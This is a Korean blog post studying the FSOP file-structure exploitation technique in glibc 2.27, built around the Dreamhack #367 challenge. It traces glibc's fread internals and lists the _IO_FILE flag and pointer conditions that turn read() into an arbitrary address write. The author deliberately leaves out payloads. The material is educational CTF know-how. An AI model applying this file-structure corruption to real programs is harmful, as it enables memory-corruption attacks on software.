FSOP 기법 정리 (File Structure Oriented Programming) in glibc 2.27
FSOP 기법을 공부한 내용을 정리합니다
_IO_FILE AAW (Dreamhack #367) - Arbitrary Address Write
드림핵 367번 문제 풀이를 설명하며 진행하고 싶지만 풀이 공유가 금지되어 있기 때문에 공격 페이로드는 제외하고 익스플로잇에 필요한 이론만 정리해보려 한다
어차피 드림핵 결제도 안 해서 직접 분석해봐야 문제를 풀 수 있다..ㅠㅠ
_IO_FILE 구조체와 파일 입출력과 관련된 함수의 동작을 파악하기 위해서 glibc 코드를 분석한다
다만 여기서 설명하려 하는 FSOP 기법은 현재 최신 버전 glibc에서 막혀 있기 때문에 glibc 2.27 코드를 기준으로 분석한다
가능하면 모든 함수들을 타고 들어가보면서 일일히 분석해보고 싶지만 막상 써보니까 분량상 너무 길어지기도 하고 가독성도 떨어지고 오히려 이해하기 힘들 수도 있기 때문에 개인적으로만 분석해보고 익스 원리와 이와 관련된 중요한 내용들만 정리해보려 한다
Code Analysis (glibc 2.27)
_IO_fread()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// /libio/iofread.c
#include "libioP.h"
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
weak_alias (_IO_fread, fread)
weak_alias()로 fread() 함수를 호출하면 _IO_fread() 함수와 같은 동작을 수행하도록 되어 있다
1
2
3
4
5
6
7
// /include/libc-symbols.h
/* Define ALIASNAME as a weak alias for NAME.
If weak aliases are not available, this defines a strong alias. */
# define weak_alias(name, aliasname) _weak_alias (name, aliasname)
# define _weak_alias(name, aliasname) \
extern __typeof (name) aliasname __attribute__ ((weak, alias (#name)));
weak_alias()에 대한 정의는 /include/libc-symbols.h에서 정의되어 있다
weak 심볼과 관련된 내용은 여기에서도 자세히 확인할 수 있다
그냥 간단하게 aliasname을 호출하면 name의 동작을 한다 정도로 생각해도 좋을 것 같다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// /libio/iofread.c
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
fread()를 호출했을 때와 같은 동작을 하는 _IO_fread() 함수는 buf, size, count와 fp 인자를 받는다
buf는fp파일 구조체에서 읽은 데이터를 저장할 버퍼 포인터이다size에는 버퍼 배열에 저장될 원소 하나의 크기로, 버퍼가 어떤 크기의 배열로 저장될 지 결정한다count에는 버퍼에 저장할 배열 원소의 개수를 받는다fp는 파일 구조체를 가리키는 포인터로fopen함수를 통해 얻을 수 있다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// /libio/iofread.c
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
bytes_requested에는 size*count를 하여 버퍼 배열의 전체 크기가 저장된다
byte_requested가 0이면 당연히 읽을 필요가 없으므로 0을 반환하며 종료한다
CHECK_FILE에서는 fp의 _IO_file_flags의 매직 마스크를 검사하여 제대로 된 파일 구조체인지 검사하는데 이와 관련된 내용은 후술하겠다
아무튼 fp가 파일 구조체가 아니면 0을 리턴하게 된다
_IO_sgetn() 함수를 호출하는데 _IO_fread()에서 인자로 받았던 fp, buf 그리고 bytes_requested를 전달한다
모든 동작을 마치고 나면 읽은 바이트 수와 bytes_requested가 일치하면 (지정한 길이만큼 성공적으로 읽은 경우) 읽은 배열의 원소 수를 반환한다
_IO_sgetn()
1
2
3
4
5
6
7
8
9
// /libio/genops.c
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
libc_hidden_def (_IO_sgetn)
_IO_fread()에서 호출되는 _IO_sgetn()은 /libio/genops.c에 정의되어 있다
fp는 읽을 파일, data는 읽어서 저장할 버퍼, n은 배열 전체의 크기로, _IO_XSGETN에 그대로 똑같이 들어간다
_IO_XSGETN()
/libio/libioP.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// /libio/libioP.h
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
...
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
...
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
...
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
...
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
1
2
3
4
5
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
...
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
결과적으로 _IO_XSGETN(FP, DATA, N)을 호출하면
_IO_JUMPS_FUNC(FP)의 멤버 중 __xsgetn을 호출하게 된다
이때 __xsgetn의 인자로는 FP, DATA, N이 들어간다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// /libio/libioP.h
/* Type of MEMBER in struct type TYPE. */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
violation in case THIS has a different pointer type. */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
(*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
+ offsetof(TYPE, MEMBER)))
#define _IO_JUMPS(THIS) (THIS)->vtable
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
...
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
그러면 _IO_JUMPS_FUNC(FP)의 동작은 무엇인지 봐야 한다
Macro
분석하기 위해 필요한 매크로들을 하나하나 해석해보면 _IO_MEMBER_TYPE에서는 __typeof__를 사용하여 TYPE 타입의 빈 배열의 멤버 타입을 가져와 결과적으로는 MEMBER의 타입을 얻는다
_IO_CAST_FIELD_ACCESS는 THIS(주로 파일 디스크립터)에서 TYPE 타입을 가진 MEMBER가 위치한 메모리 주소를 얻어 접근한다
offsetof로MEMBER가TYPE사이의 오프셋을 구한다THIS에 오프셋을 더해MEMBER의 주소를 얻는다- 해당 주소를
MEMBER의 타입 포인터로 지정 후 참조한다
1
2
3
4
5
6
7
8
9
10
11
12
// /libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
위 매크로들을 토대로 해석하면 _IO_JUMPS_FILE_plua는 _IO_FILE_plus 구조체 내부 vtable 멤버에 접근한다
_IO_JUMPS_FUNC(THIS)는 _IO_JUMPS_FILE_plus (THIS)의 리턴값인 vtable 멤버에 _vtable_offset을 더하여 실제 vtable 주소를 _IO_jump_t 구조체로 캐스트하고 참조한다
이렇게 얻은 vtable 포인터를 IO_validate_vtable()에 넘겨서 검증한다
검증을 마치고 나면 그 리턴값을 사용한다 (검증을 제대로 통과하면 vtable을 그대로 반환한다)
1
2
3
4
5
6
7
// /libio/libioP.h
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
...
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
그러면 결과적으로 _IO_XSGETN()은 JUMP2를 호출하게 되고, JUMP2는 FP 구조체 vtable의 __xsgetn을 호출하게 된다
__xsgetn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// /libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
_IO_jump_t 구조체에서 __xsgetn은 _IO_xsgetn_t를 타입을 가진다
__xsgetn 위치에 어떤 함수의 포인터가 있느냐에 따라 동작이 결정되는데 해당 위치에 어떤 함수의 포인터가 들어가는지 확인할 수 있는 코드는 찾지 못했다..
나중에 다시 확인해 볼 때가 오게 되서 찾게 된다면 추가하겠다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// /libio/fileops.c
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
/libio/fileops.c에 이런 코드가 있긴 하나 이 내용이 들어가는 로직을 찾지 못해서 동적으로 분석해보기로 한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Dreamhack 367 코드 일부
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
...
fclose(fp);
}
위처럼 fopen()으로 fp를 얻고 fread()를 하는 코드로 동적 분석을 해보도록 하자
pwndbg로 fopen()을 호출한 후 RAX 레지스터에는 fopen()의 리턴값인 파일 포인터가 들어있다
해당 파일 포인터를 _IO_FILE_plus 구조체로 출력하면 _IO_FILE 구조체와 vtable의 주소가 나온다
vtable 안에 있는 __xsgetn에 있는 주소의 심볼을 확인하면 _IO_file_xsgetn인 것을 알 수 있다
(심볼에 __Gl__이 붙어있는데 이건 전역에 적용된다는 의미이다)
따라서 __xsgetn은 _IO_file_xsgetn으로 이어진다
지금까지의 내용을 정리하면 fread() -> _IO_fread() -> _IO_sgetn() -> _IO_XSGETN() -> __xsgetn -> _IO_file_xsgetn()의 흐름으로 진행된다
_IO_file_xsgetn()
_IO_file_xsgetn()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// /libio/fileops.c
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}
count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}
s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
1
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
_IO_file_xsgetn() 함수 내에서 fp 구조체의 멤버들을 확인하기에 fp 구조체인 _IO_FILE에 어떤 멤버가 있는지 봐두는 게 좋다
_IO_FILE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// /libio/bits/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
fopen() 함수에 브포를 걸고 호출한 후 RAX 레지스터 값을 _IO_FILE 구조체 형식으로 출력해보면 위와 같다
일단 다른 부분들을 보기 전에 익스에 필요한 부분부터 본다
1
2
3
4
5
6
7
8
9
10
11
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
이런 코드가 있다
_IO_buf_base를 검사하며 __underflow() 함수를 호출한다
이 부분이 나중에 필요하니 알아두자
__underflow()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// /libio/genops.c
int
__underflow (_IO_FILE *fp)
{
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
이는 결국 _IO_UNDERFLOW()를 호출한다
1
2
3
4
5
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
...
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
이전에 __xsgetn을 사용하던 것과 비슷한 방식으로 진행된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// /libio/fileops.c
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
__xsgetn이 어떤 함수로 점프하는지 찾았던대로 __underflow도 똑같이 해보면 일단 _IO_file_underflow로 점프하는 것을 알 수 있다
실제로 gdb로 디버깅을 해보면 __underflow 내에서 _IO_file_underflow로 점프한다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// /libio/fileops.c
versioned_symbol (libc, _IO_new_do_write, _IO_do_write, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_attach, _IO_file_attach, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_close_it, _IO_file_close_it, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_finish, _IO_file_finish, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_fopen, _IO_file_fopen, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_init, _IO_file_init, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_setbuf, _IO_file_setbuf, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_sync, _IO_file_sync, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_overflow, _IO_file_overflow, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_seekoff, _IO_file_seekoff, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_underflow, _IO_file_underflow, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_write, _IO_file_write, GLIBC_2_1);
versioned_symbol (libc, _IO_new_file_xsputn, _IO_file_xsputn, GLIBC_2_1);
근데 _IO_file_underflow() 심볼이 _IO_new_file_underflow()로 매칭되어 있으므로 실제로는 _IO_new_file_underflow() 함수의 동작을 하게 된다
실제로 _IO_file_underflow() 심볼을 가진 함수에 대한 정의는 찾지 못했다..
_IO_new_file_underflow()
_IO_new_file_underflow()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
// /libio/fileops.c
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* Flush all line buffered files before reading. */
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
1
2
3
4
// / libio/fileops.c
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
fp의 멤버들 중 플래그나 몇 가지 것들을 확인한 후 가장 중요한 _IO_SYSREAD()를 호출한다
_IO_SYSREAD()
1
2
3
// /libio/libioP.h
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
아까와 같다..
_IO_file_jumps libio_vtable을 확인하면 _IO_file_read를 호출하는 것을 볼 수 있다
마찬가지로 gdb로 확인해서 확정 지을 수 있다
_IO_file_read()
1
2
3
4
5
6
7
8
9
10
// /libio/fileops.c
_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}
libc_hidden_def (_IO_file_read)
_flags2 확인 후 내부적으로 또 __read() 함수를 호출한다
이때 인자로는 fp가 아닌 fp 구조체의 _fileno 멤버가 들어간다
여기서의 __read()는 read()로 점프한다
사실 이 부분은 코드에서 확인하지는 못했고 gdb로만 확인했다..
이전에 gdb로 확인했던 것들도 코드로 완벽하게 확인하지는 못했지만 어찌 됐든 gdb로 동적 디버깅해서 직접 동작 확인하는게 정확하긴 하니까..
그래서 이렇게 실행되는 fread() 속에 들어가는 파일 구조체를 조작하여 read()를 사용하면 AAW가 가능하다
이를 위해서는 앞서 제대로 분석하지 않았던 플래그 검증이나 다른 fp 멤버 확인 조건문들을 만족시킬 건 만족시키고, 빠질 건 빠져야 한다
Exploit
_IO_SYSREAD 실행을 위한 조건 우회
fread() 함수를 실행했을 때 결국 read() 함수가 호출되도록 해야 하는데, _IO_SYSREAD에서 read()로 가는 플로우에 _IO_FILE 구조체 멤버 검증 과정이 없기 때문에 _IO_new_file_underflow() 함수에서 _IO_SYSREAD가 실행되도록 하기 위한 조건만 맞춰주면 된다
그리고 해당 문제에서는 일단 fread()를 정상적으로 실행할 필요는 없고 AAW로 스택에 위치한 지역 변수 하나만 조작하면 플래그가 뽑히는 문제이다
따라서, _IO_SYSREAD 이후의 조건까지 맞춰줄 필요가 없다
1
2
3
4
5
6
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
_flags 플래그 비트에 _IO_NO_READS가 포함되어 있으면 EOF로 빠지므로 읽기 권한이 설정되어 있어야 한다
플래그 비트
1
2
3
4
5
6
7
8
// /libio/bits/libio.h
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
플래그 비트는 /libio/bits/libio.h에 정의되어 있다
1
2
3
4
5
6
7
8
9
10
11
12
13
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
_IO_read_ptr이 _IO_read_end보다 크거나 같아야 하고, _IO_buf_base가 NULL 값이면 안 된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
플래그 비트에 _IO_LINE_BUF와 _IO_UNBUFFERED가 설정되어 있지 않아야 한다
플래그 비트
1
2
3
4
5
6
7
8
9
10
11
// /libio/bits/libio.h
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
